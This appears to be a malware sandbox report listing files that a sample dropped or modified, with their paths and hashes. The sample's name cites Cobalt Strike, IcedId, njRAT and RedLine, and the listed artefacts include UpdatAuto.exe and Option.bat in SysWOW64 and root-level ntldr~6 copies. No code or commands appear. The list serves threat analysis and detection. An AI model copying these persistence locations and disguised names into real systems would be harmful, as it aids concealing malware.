Submit Download

4944_13429173193212932.pma

Path C:\Program Files\Google\Chrome\Application\SetupMetrics\4944_13429173193212932.pma
Size 696B
SHA256 24886eb3d231df75d43e2871a27bcd8c58b546eb7e334ece84cf816a978424d4
MD5 1d584703ccde52420a90961f3ecc1386
SHA1 b50c99cad1428cc41eadfef646de9120a6e3634f
SHA512 4dc136eaba4e552200fc82b402d0be5a3426cf21d4cf41b42e1264f3300254a2421465356ea183e9f8a1a526515f918739261d272649ef2c3afb629c033e66f8
TLSH
T1BB01C946A3544FB7CC468D3584BE27512BB4FA502B821BBF7B10764F2E021C89E99168
MD5 SHA1 SHA512 TLSH

Submit Download

chrome_proxy.exe

Path C:\Program Files\Google\Chrome\Application\chrome_proxy.exe
Size 3.3MB
SHA256 988caa8de940f9a8a761a3f3b48466c46c1abdcbf86d80b0b8539c09166a14a8
MD5 c9e99ddaedc7edbb6cffbad611c8fd1c
SHA1 c02805ac0be8f7a3c29eadfdba9fb62b9e865cc9
SHA512 22aa2509ac39203c074a518813e130f3484dc0c88f7d56ca84a2795740877561de5fc1b29b6b8f933c911b070d7f7591a3b68c17b28436772dfd546a8dae5b60
SSDEEP 49152:wabH/6tugabH/LtuFI1TabH/btugabH/LtuFI1MhtSn8EApI0fig1giDn0AP5w2:IAAI1sAAI1tX2iwphX
TLSH
T155F57C13F69840FAD09AC174A7569123F9257C290B70BDCF2380BB162E77BE16B79706
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dotnet.exe

Path C:\Program Files\dotnet\dotnet.exe
Size 2.0MB
SHA256 e8508cfbce5217d688d154dadd45b2574ddafd3ae060d07bd8c3b61aaadb4ed8
MD5 769212addd42dd3ab9c81811f0c40a80
SHA1 f760035d2fe8b70e91614cce8277d9ae1d2357c4
SHA512 1439251d7c6e78b9f8a9f7ef248f600b5feec39c5a835d048c2cf83c35e575083db0343842ad048742b3d0f73694bd07804b23afeb25733c3b62e159d443f574
SSDEEP 49152:wabH/+tugabH/LtuFI1TabH/btugabH/LtuFI18:cAAI1sAAI18
TLSH
T1BFA52913E654507AD49AC074E7569152B9263C7907E0A9CB63C0FB3E2F32AD16BF870B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

createdump.exe

Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe
Size 1.9MB
SHA256 6d90eea3a2a3005c35324a1a4791fcca368a921713a5e4c94ad7b31a928687e7
MD5 0377d744af39feb5ccf330cc45f2d628
SHA1 2855089609c1f1433a8fad188da71b3fedc2a901
SHA512 97a470097d60581c10483c4c78d475df72469c2689b132de34c7a81e88ad0d00b03990dce128c98138f768015c985a4cb7ea6f3dc69710be63f6d6944cd2b3d5
SSDEEP 49152:wabH/itugabH/LtuFI1TabH/btugabH/LtuFI1c:QAAI1sAAI1c
TLSH
T167955B13F65490BAD496C0746A569167B9253C790770BCCF63C0BB163E32BE27BB870A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

createdump.exe

Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe
Size 1.9MB
SHA256 52bc8a83dcbdf853c843373f2e1c27d736710b0455fef9a24d5c4a5d999dcf97
MD5 b275962980f15f94fc37045ee78e53a7
SHA1 7912be9e4f58f0ad24a37ee215f606dc7e070c34
SHA512 225aaedcb62512f557d343be43850e68b7bd0a59d49d07135f4ca69ff6965d6fedccf73bf968349afb9d14e99c9bed300131dd49d23ed479bc814fcc78967c5f
SSDEEP 49152:wabH/6tugabH/LtuFI1TabH/btugabH/LtuFI1Ij:IAAI1sAAI1Ij
TLSH
T12C955B13F65490BAD496C07466569167B9253C790770BCCF63C0BB263E32BE27BB870A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

createdump.exe

Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe
Size 1.9MB
SHA256 7a4a019b804367b4878c550de5142efd59b2dfcde617a25109a5f4fbcc6cb5ad
MD5 f800de6206209b46ec3701561f16f1ed
SHA1 842b96a2e26471f2ea64417c2f9cf32dedee12ed
SHA512 c5b2d6789b581eb645cf0e6bf5fbab5b4b84eab8621bddc2594208559017fdb7d70b5b5417a4eff4e9ef32a9b96048e8369ed917cca4674e7cb156ed6368af37
SSDEEP 49152:wabH/mtugabH/LtuFI1TabH/btugabH/LtuFI1qD:UAAI1sAAI1qD
TLSH
T10A955B13F65490BAD496C0746A569167B9253C790770BCCF63C0BB163E32BE27BB870A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 cab39ec6f4eb63d064c26cff4d6b8280dafd6cdf860f324d588a5b48e9a4004b
MD5 54f91bccd4e156eea9e77ab5636c095d
SHA1 c26344a294afc1f85144197baab316e80094e0a4
SHA512 04d1f4d3c8a8a86b933b604aabb3ec320ef3a2bf2d504956730fba8a67135c6ed9ca42db4fcceaa442433ed2683209381f81a31bd00baa75b1158f4b5444c09e
MD5 SHA1 SHA512

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

dasherSettingSchema.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.108.1_0\dasherSettingSchema.json
Size 854B
SHA256 6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6
MD5 4ec1df2da46182103d2ffc3b92d20ca5
SHA1 fb9d1ba3710cf31a87165317c6edc110e98994ce
SHA512 939d81e6a82b10ff73a35c931052d8d53d42d915e526665079eeb4820df4d70f1c6aebab70b59519a0014a48514833fefd687d5a3ed1b06482223a168292105d
TLSH
T1B1014C25C354799B04C7627ABCA95001E630818B027665707DDE4D7C6F2E8A700BF37E
MD5 SHA1 SHA512 TLSH

Submit Download

service_worker_bin_prod.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.108.1_0\service_worker_bin_prod.js
Size 131KB
SHA256 5b83ed539c1e9c2769e4e3cd4aa397a66bdd6cfa763e230414c0a885a350903a
MD5 8b795eb263421a7d53c5d4a95646bc45
SHA1 4e48ea3d490b84aa4260a74217ed414bef6b6ad8
SHA512 fb78511b7a274d3c280da40341f19fcd3c2455f6132c41f3e46696e458126a3cec6b27d41b28b2398c622c435a3bb93a2f731fe3e8ed453d365c042b71b8b0dc
SSDEEP 3072:JXNTunelO5KQOpZgLJqVPgbcBJptE/ml/3y7:JAPJOrgmptE/mlP0
TLSH
T17AD3DACCB7A5B4224363A5F5002F010BB23AB8AAE44C85A8F188D9E97D7546D4737F7D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Google Profile.ico

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico
Size 192KB
SHA256 87e933966804aefee5b77abdae95b1a7f72c298b148190d7d20fe6a77c239f3b
MD5 010ec79a1098823a764aca5c4adfcbef
SHA1 ee77b3b4682e7b05075d7713f354162fe02555bb
SHA512 3ca45c2be2a916e19c5d9c467e1cdfac64b9243c29c9ac79dcde1342cc0cb9203d3f6ffe1b9ca1257799f6c70237e12019908e2c5091dd77d40134a0ae25d6f8
SSDEEP 3072:2Xm/EXUfaL6MV8nbsFXdFVgQAU6v4v62PV2Ey28nr6dOQriQWe4gMg3cdrqZByGk:2XUMCm4U6q62MEBi99g9sdIJZpVhA
TLSH
T1BA143B265EEEE940EEB11A753E7E4381D6B5B80689FD21E45AE23C112B7FCF505B9003
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 c9d1ecaaff118ccf6294b405409ba15650969e70cc0fe6a958d16e24d43ca1d2
MD5 1d257ed513d1c63f931b3572fd2464a2
SHA1 0b104b2d880ee2157ff4aebe58a1164ab7017c44
SHA512 de60b7befcb61980d3079339e0c64ed90a015a8032ac2c8eb471dea74cb0a2bd972f57529cde7e3c3ce675f136602708aefb93c27cc43c0c894584be50703700
TLSH
T19C61AEF3D3D4866D851166F49B257E1FCE2D0A28922C3C56CCE8AE5F53E28B2D24134E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 bf3c70fe5915f7517b8b2aefcd6a558296dda1b4e3f8d31587e9d27460263e81
MD5 f74a1162d148184eec34c42473095d46
SHA1 b3f0033fcb6a26d4cebf01f02c8dc11de6e5a466
SHA512 db5346db721acc4cc560dffc9492db55f8c2d0dfa5d34385e75208efd9fea3885c0286cb94aa990a7150e9298894e3fe2692e732d71da1f30fac2700d4b3ae10
SSDEEP 192:VRO163Ruv7epAPRp2cXsb+WNnjw2mspakwu9iyIsnAUge:VRO163RKKUXfXws2m1e
TLSH
T13632732EAD14763B5CCBD25EFA657B43E7F5102171942E88EAFC962C14DB6CC222701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 a9876c5e51ae8d23645d41b2b1761a1a67959065df16737e5e4e4058beea1495
MD5 df744c874e3f79b1b94147665f89ae5b
SHA1 2d7be984ab17a53f2e12f765d800c17ccc6ede8c
SHA512 154ee3f504c5ceafd3eed5c58cca0d7845d68029fe4a1617e4742636455bd03ba25cc6a64f9bc4118d99b1475d636c56f9b0fc4e1d6660a0623276a488b6db4f
SSDEEP 192:VRO163jVuv7epAPRp2cXsb+WNnjw2mspakwu9iyIsnAUge:VRO1635KKUXfXws2m1e
TLSH
T13732952EAD14763B5CCBD21EFA657B43E7F6102171942E88EAFC962C14DB5CC222701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences~RFe598330.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences~RFe598330.TMP
Size 3KB
SHA256 c5991544f1fb7d68922c13183667fc265ec756af18ab18652c8fb80c7c74afa1
MD5 7685b0f456361fecad4d39e4314d6e37
SHA1 1daadd9d4d32635a4302600a4b16680e0f1820af
SHA512 880d86b1bdfb3139adb3a5730c62a02b0688fad7df3f3050232a40d580d7fb514fca06053106bd4aa435f9ebc62bb8ea70cd1949b6bdc44ebbca63f50c06403a
TLSH
T12361626EC5641CBB0DB2B37978391742FEA2172B1941AD0A3D7E46CC0FB18278040FA6
MD5 SHA1 SHA512 TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 13KB
SHA256 cdd8fc20f2930bdf817b29f59a1b1f51202eef808feb3c17bac18aacdc26db22
MD5 500c3b7e0db0e1177c318f2172d0be96
SHA1 4c76d1274070dbb6ed019246119c2047983f54c9
SHA512 e60df2599c1a4719f002baad50c024f745c3ff81e822d5e6549819ba9fa7375dacfbbadae07ac7e15c54ced31e033de0f49d666ef1c5280682fc09975d0a10f7
SSDEEP 384:ZPjwX7KxkXqKf/pUZNCgVLH2HfgsldxXODyh+ErU3quHGANHwHZvi:Z7wX7KxkXqKf/pUZNCgVLH2HfgsjVOuY
TLSH
T1B752196B648D9A3B0FD8D68DDC16AF4FADB5024766684D2452FB9C0803997CB110A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 86a959c399d341069f31afd8f6114bb0259aac4eef61578fe5ffbaf1485086a2
MD5 2aaa455881f14e2f3d3329423b6a23ae
SHA1 9f65e8f6d7293707d1353281021c7237387406fc
SHA512 2a279c16dff2883cf0a1f28dc0769c1eb7966855fa225e8a9e97043f0bd7a57d27ca681b4a7e6accfbcd6d65c392a357ee2151f9da16a7a1912402eadf3e200e
TLSH
T10BB01214C04B5B10EC4481B01149908433905E3190011BC3A3E05A95CC430D06253505
MD5 SHA1 SHA512 TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\temp-index
Size 72B
SHA256 48ad239d3c48f3d5199ffec6c103722b11a9f8d979932c88ff38c8aa39935455
MD5 0c7609274eb8eaa5e90c50198f6d5356
SHA1 9b703e973767076105aa28ef4786f12014b7d4fe
SHA512 2ae46fc94ff2130c1d45e06b590a8b8bbd74b1e2a0ee6c766814a437e61a9672a82e09999a30f90aed38b2a9e291648e95ff04822232e540ac1d72e9ec85ef2c
TLSH
T1BCA0021582F59912CD08937170B15555B3D3482419D19383A5930456A96F2C9510AA41
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59cd49.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index~RFe59cd49.TMP
Size 48B
SHA256 ac1902b4598f38564b25d42fbaa03693c219fe80ce72aedad48780fe848e1c9f
MD5 53d78c5b0d41040be8eb90c1db5d0f9c
SHA1 85a7fd08bfef81e12b63b1c046f058cb8c6658fd
SHA512 03be9f9a1e3a6a97904307791c42fb9b6029485f39a5ca957a758cf8dad39dab40b3a4e018529328f26ec90f3bf0b07025f9f952ae2e109df52c690de3862736
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 124KB
SHA256 20c6591d9a930d5d2f42387c74b19feccb818f91fa0ed8e2cf291547044bde8b
MD5 b5af432ec57a02a9e499b4cb5ccae360
SHA1 16a231f54afc57b4e5ed65e3db51e21cbe613a60
SHA512 deda6709ccc7e8ee6f91af964b48821ff41db3b56b2c57b4b8e3833ff0d116a6e64fcc64a6f8d717ddcb13c0eab3f01c7665f31424ee1c4abfd446f20d58a092
SSDEEP 3072:3hNwObUg+Qw2GpJdHxkxXOVqRzl2LqGMbBJMZ1BEF:3hKK692ILxkFOol2WGMbrMZMF
TLSH
T103C312EE84AEAE0138589C06F1190F957D2571079ED4347982F875FA39A94C0F722BBF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 125KB
SHA256 74ff3f15011f8b0d73f51ef3abad01646c53e861716f22ff385a16b5dda3b3a9
MD5 f492702d3767bc899a410c5e02d37bbe
SHA1 3c8554e40f12738f327c2d5d2c90277828f511fa
SHA512 beee097ef65bba08ca7683b115857e4c2c8dba327085ac3975802c08d53643c85858be41d1ad80c60cbf2d4952cbf8aa1d1333dcbfe564b785c0a155ac6ff3c5
SSDEEP 3072:3UvNwObUg+Qw2GpJdHxkxXOVqRzl2LqGMbBJMZ1BEF:3UvKK692ILxkFOol2WGMbrMZMF
TLSH
T1DAC312FF88AA994139649C45E1190F913C68710B9FD4347C86F879FA29A94C0F712FBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 faec3ab8629324143e0049f5d169b439241754ec83a16138f2f33ef75600c86f
MD5 9ae85629c147d128ac01fd3f8254169d
SHA1 9e72ec331cda431f43ae4c349638c591e304de51
SHA512 494f38d1284446574678eeb53dad32122182f208747e286ea6754eec0b09cad8a51fe60b896087f970e66514757649dafbb99e7bbcbe5df0bdd183f3a5aa5dbc
SSDEEP 96:BC0d+hDK+UyKovbfaNQYYeteRDotok5wiqDw5B6WGyvUU+NtsbL/Mmv4a:BC0qDHUgvIdaDUDeMCI+LsbL/N
TLSH
T1E7A12A32B46D4D776A76D909F8662E43DEB4602BEA31BE44D9DE0F0C11EB1EC1352613
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 7d64ef0aeb9d2cb4b15765bf8cd905dedcfffbdd8be3e6ead92237be637abc4c
MD5 8f3fe53f0a97acfe321c960fa1c16358
SHA1 1560b6fd674fbb43f81ef36186762273a9b5e91e
SHA512 eddd01e936dc503b341a0316d5d883de498f5e1956ad79541e5f07cb6ea729e161d828646d7a2bfc2a4a73c0dff3d61067ab4a725d1cb11e92e5169c8cabb81b
SSDEEP 96:hC0d+hDK+UyKovbfaNQYq9UtYSl8h4otop5wi6Dw5B6UcGyvUgIlG1QzbOQp9EfQ:hC0qDHUgvId8iU2qM9sIlTLzEfLuUa
TLSH
T114C1397AB86D9E732EB2D50AF4132E43CDB5606BAA11AE54C6DA0F0C01D75EC1383623
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe

Path C:\Users\Admin\AppData\Local\Temp\2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
Size 4.3MB
SHA256 8f745e3d26aa25d46265f4eaf80001b61bd27db33c1f995a6f912dc8dd79f8a0
MD5 354d72cff0de750875d2af3d8d3532a4
SHA1 590a43bde0cd6fa985d4c20bcd97515f7d756689
SHA512 514db3a6dd0572243d4737f626ac0f6da4f4311300cc1e8eb0e677457b3d8ed516772f804fef24f61cbeafc9a225e3891d138c14882df197678daf3124fc3373
SSDEEP 49152:B/KCGZd0qgNEf16lhulJLirHJIZ/K0tDAy49uO7G6XSq4vFWVRxYOKKJY+lpSt3B:6WQtZ/K0tGOFWVRuLftCT
TLSH
T129264A03F2E941E9E0AAE178DF3596319B727C5A8BF1A5DF214032D41E76AD07B38721
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3692_1346565630\CRX_INSTALL\_locales\en\messages.json
Size 450B
SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
MD5 dbedf86fa9afb3a23dbb126674f166d2
SHA1 5628affbcf6f897b9d7fd9c17deb9aa75036f1cc
SHA512 931d7ba6da84d4bb073815540f35126f2f035a71bfe460f3ccaed25ad7c1b1792ab36cd7207b99fddf5eaf8872250b54a8958cf5827608f0640e8aafe11e0071
TLSH
T1D3F055CB9000FC5E538BC00EB10072282BA603E01AD1726724EC1C0E67DFDAEB143F9A
MD5 SHA1 SHA512 TLSH

Submit Download

Option.bat

Path C:\Windows\SysWOW64\Option.bat
Size 53B
SHA256 0bc485263cf8a962e64db0b88f156f2a9af1b81ecfdb1cf9111d497e85df70f3
MD5 1d04abf39e9df55eed1d04430cc21eb8
SHA1 b8292861dfd4e046eb9625e1571cc08c26094d41
SHA512 a2cccc03dadecf6a298b274a6735675aeec1cc280f84432498e9df31aa4a543d2557a2fd06bac4fc8778a774b30bbd31f91c1d0d3ace480b6217654c8d63a7d0
TLSH
T16590024150204C5054251421418D0244AABAD2EF9701889A1C4B06E44D4147444CCA02
MD5 SHA1 SHA512 TLSH

Submit Download

UpdatAuto.exe

Path C:\Windows\SysWOW64\UpdatAuto.exe
Size 1.8MB
SHA256 73f1f8b7c357cf988f9b3d1765c70859ef7f035dc3c2faece5cc67a543342426
MD5 51a102b7e008f57a5e370c506ad92929
SHA1 46fc59607bddc813bcef9e5bdb1be7318c50ea4d
SHA512 b26ddce3938029bdbdcec68258f2aaa7befb2da7e8cec4ddbee35b0faa1f84785eba4da3370b8bcd2cf03d08d98c75b9c6a332461b2707e15591358d14d71e6e
SSDEEP 49152:wabH/StugabH/LtuFI1TabH/btugabH/LtuFI1O:gAAI1sAAI1O
TLSH
T124955B13F654907AE496C0746A569167B9253C790770BCCF63C0BB263E32BE277B870A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Windows\SystemTemp\Crashpad\settings.dat
Size 40B
SHA256 e93d3b9dbdfb606a802e01fd7849ea8cd9d4b5fa0785f86016267ad2064899d2
MD5 9bb04a5727ff484e204cd807a187489a
SHA1 7f973c35ab42c191e26f9c42ec90dbba9d4219ad
SHA512 11df3d54dbe28771bcfb7717dda0387b246063877ae97de49c6ffa6c8e43f4b0a870f9ae83b247057f91238010d9bfd6ed18418c02f1809a2c9fbc9f5ef609d0
MD5 SHA1 SHA512

Submit Download

chrome_installer.log

Path C:\Windows\SystemTemp\chrome_installer.log
Size 6KB
SHA256 9561893e8cd9458dfb55b49270d4c5131f10acab96bc0a25a9390426163cec2d
MD5 e4a4e7d69126f1160fb0d8f16300ff48
SHA1 343be00871a37216c1611d2f6969979140a2d0ca
SHA512 8439eb934201fc291c1d2e31d34bb57951fd043dd84e2a2d61b85e6e695d90117c8b9688f47679e015d4a4ad8aa6b99ca4c5b8a06144d19803a815ef1fd3d522
SSDEEP 96:3at3R+ouvM+K6hK2vK2ilZFjqVEegWKushK3RK3QD0:q1Xu1l0IEeA6xg
TLSH
T135D18F968F4248EF3AC19B3B334335925E6B640FC6E8A57277FB6506B0CE664001F5E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ntldr~6

Path \??\c:\ntldr~6
Size 1.8MB
SHA256 8fd9262dd3c7c3bd267b03e74a97f834ee62b42df29e67b3b1c1ae26a303475e
MD5 b36548630b94d3888ae1d5d47be17a45
SHA1 c1be8ce22190b6240f9ff601ca698adb1e89b0bb
SHA512 6f70d21ef687f85699940d834b4ed12681db47742c69a7eef3999f4cf75f9893452a991b1e05174220cea86e62b24ca983e30d111b1461bb8acc09369e69cc36
SSDEEP 49152:wabH/+tugabH/LtuFI1TabH/btugabH/LtuFI1O:cAAI1sAAI1O
TLSH
T1DE955B13F654907AE496C0746A569167B9253C790770BCCF63C0BB263E32BE277B870A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ntldr~6

Path \??\c:\ntldr~6
Size 1.8MB
SHA256 5e16a1987fd28538e6d1c0c1a741d65240f6f6c895753f86512b4165f3e8f65f
MD5 cbf59a8bade7dfc80f0fcd1465f1f2f8
SHA1 e2ddeceeb42eb0491233bc9d09dd2699d391f775
SHA512 3ee1409e5227106b1d1205bde6bad6ec890316d77c388c94e58dc39b896087f0f554f754fb3b491d23baa569ea36bf0c99d425e12018fa54e96f0f93b6681343
SSDEEP 49152:wabH/dtugabH/LtuFI1TabH/btugabH/LtuFI1O:lAAI1sAAI1O
TLSH
T15F955B13F654907AE496C0746A569167B9253C790770BCCF63C0BB263E32BE277B870A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ntldr~6

Path \??\c:\ntldr~6
Size 1.8MB
SHA256 00ad423f79722c5f5b971a6fa71e2efadc2a4286b829184f8b3cbe4fe7252b31
MD5 646f9867e030d2c22c4d8276047f841c
SHA1 00d4f5aba4f5f04eec34ae165a0ffb9867e05917
SHA512 879729f1cb1672106326f3bf60df8cd76a9cf4761190b34cf122a8d249d8c37c948c05717035f442cce2f8ab8fa2888a349875355fa2ceeaaf44a9f5394543f3
